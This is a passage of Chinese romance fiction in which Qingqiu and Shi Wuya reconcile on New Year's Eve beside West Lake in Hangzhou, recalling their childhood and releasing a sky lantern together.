房中安神香凝神静气,白烟袅袅,寒风透过窗棂吹进房内,帷帐轻晃,丝丝缕缕的安神飘入帐中。 迷蒙间,清秋恍惚见到她和师无涯在杭州旧宅的青梅树下,那不是冬日,是春意盎然的三月,青梅树枝叶茂盛,零星碎花开在枝头。 院中浅草茵茵,瞳瞳趴在石桌上,她和师无涯倚着青梅树,日光照拂着他二人,周遭萦绕着暖息,万物生发之际,绵软惬意。 这个梦好似没有尽头,清秋睡得安稳,醒来时已是酉时,窗外铺满霞光。 清秋披上狐裘,却见庭前秋千换上新的麻绳,秋千架也都焕然一新,师无涯坐在石凳上,见清秋起身,忙倒茶奉上。 师无涯骨节分明的双手冻得僵红,清秋指尖触到他的手背,身子不由得一颤。 “云露回来了?”清秋旋握着茶盏,眉尾轻挑,“师无涯,你不冷么?” 师无涯紧握成拳,眼睫低垂,双手负于身后。 杭州虽赶不上汴京灯火不绝,但在两浙路,已算得上鼎盛,杭州年节也颇为热闹,今岁她不在汴京过元日,杭州到汴京路远,一时间难以赶回。 南下时因雨雪行程延后,在杭州过元日,倒是个意外。 仔细算来,清秋已好久未感受过杭州的元日,这两日云露忙着采办对联灯烛,只恨不能将杭州旧宅翻新。 除夕夜,暮色四合,云露提前一日定了酒楼,正对西湖河畔。 这日出门时,清秋不见师无涯,便问云露,云露蹙眉道:“今日一早就不见人了,姑娘我还是头一遭在杭州过除夕哩。” 云露笑不见眼,眉眼弯弯,“姑娘,我们先去罢,晚些时候再来寻师郎君罢。” 清秋颔首,同云露出了盛民巷,临进酒楼前,云露似想起些什么,忙道:“姑娘,我忘将孔明灯带来了。” 酒楼旁摊贩众多,其中不乏卖花灯、果子、新鲜玩意的。 思及此,清秋温声道:“不必非要孔明灯。” 云露倒不是非要那盏孔明灯,只是她应了师无涯,要将那盏灯带来,这两年云露对师无涯改观许多,从前他也觉得师无涯配不上一心赤忱的姑娘。 可姑娘心里喜欢他,那么她所见的,都不如姑娘心里想的重要。 云露深知她只在清秋身边服侍几年,不如绿柳服侍的年岁长,可她心里却明白清秋所想的事,只清秋觉得好,那便是好。 倘若师无涯诚心求娶清秋,云露愿不计前嫌,帮师无涯一把。 念及此,云露委屈道:“姑娘,那盏灯是我亲手做的,劳烦姑娘在茶馆里等等我,我去去就回的。” 见云露如此,清秋不好回绝,抿唇道:“去吧,快些回来。” 云露所指的茶馆临西湖,西湖画舫驶过,笙歌悠扬,断桥处游人提灯观湖。 清秋寻了个清净地,茶馆娘子上茶,“姑娘爱喝些什么茶?” “随意些,只坐坐就走。”清秋远眺西湖灯火,灯火幡然,湖中花灯顺水东流。 茶馆娘子眸光一转,捧着茶盏道:“姑娘,有人在等你。” 清秋柳眉轻蹙,回首望向那人。 师无涯着绀色劲装,长缨束发,身无他物,只像是寻常人家的好儿郎。 灯火阑处,他眉眼散漫,眼下红痣妖冶,隔着影影绰绰的人潮,清秋似见到幼时他们的模样。 “师无涯,你怎会在这儿?”清秋出声问道。 师无涯三步并作两步,临至她身边,朝她伸出手,并未说话,可他眼底却含着乞求之意。 远处爆竹声响,绽开绚丽的光晕。 清秋鬼使神差地搭上她的手,轻声道:“师无涯,今日除夕,我许你说话。” 师无涯唇边勾出轻浅的笑意,他牵着清秋的穿过拥挤的人潮,檐下灯影穿梭着一高一瘦的身影,师无涯牵着她上断桥。 “从前种种,是我不对,是我迟了。”师无涯眼尾泛红,垂眸看着清秋。 清秋仰头看尽他眼底破碎零落的神情,无数往事浮现眼前,在除夕夜的爆竹声中,一切都混沌其中。 ——“无涯哥哥,年节快乐。” ——“无涯哥哥,来年万福。” 脑海中浮现出儿时她与师无涯过年节的情形,爆竹声中一岁除,她身着绯红小袄跟在师无涯身后,师无涯就顺势带她来断桥边最好的位置看爆竹。 寂寂夜空,绽开五彩斑斓的爆竹,桥边巷口的嬉闹声盘旋在耳。 清秋与师无涯双双落泪,泪珠滚落至二人的手心,师无涯小心上前,轻轻拥她入怀,清秋轻闭双眸,这么多年,第一次在师无涯的怀里哭出声。 她和师无涯纠缠十几年,直至如今已相识十七年。 “师无涯,我其实不恨你,只是觉得太委屈,觉得从前的我们都太过固执,所有的话到嘴边都成了伤心的利刃。”清秋小声呜咽,她对师无涯已经没有恨了。 师无涯抵在清秋肩头,泣声道:“可我带给你的远不止这些,清秋我恨当年的我,恨没能将话说清。” 清秋鼻尖萦绕着师无涯暖息,他的胸膛温和结实,心跳声格外猛烈。 断桥旁云露寻来孔明灯,小心上前,离了大半步,扬声道:“师郎君你的孔明灯。” 闻声,清秋忙推开师无涯,从他怀中抽离出来。 孔明灯上书着:清秋福寿安康,岁岁长安。 师无涯接过孔明灯,顺势牵起清秋的手,他二人共放一盏孔明灯,西湖水中花灯飘荡,空中满城孔明灯。 清秋仰头观月,见孔明灯没入黑夜。 师无涯悄然靠近,指尖勾起清秋的小指,不动神色地叩住她的手,十指相扣,他掌心的气息渡给清秋。 除夕夜,师无涯牵着清秋的手并肩同游,余光是不是落在清秋身上,清秋敛目垂首,视线游移。 杭州城青砖白瓦,春去秋来,那旧宅院中的青梅树长盛不衰。 经年之后,仍如当年。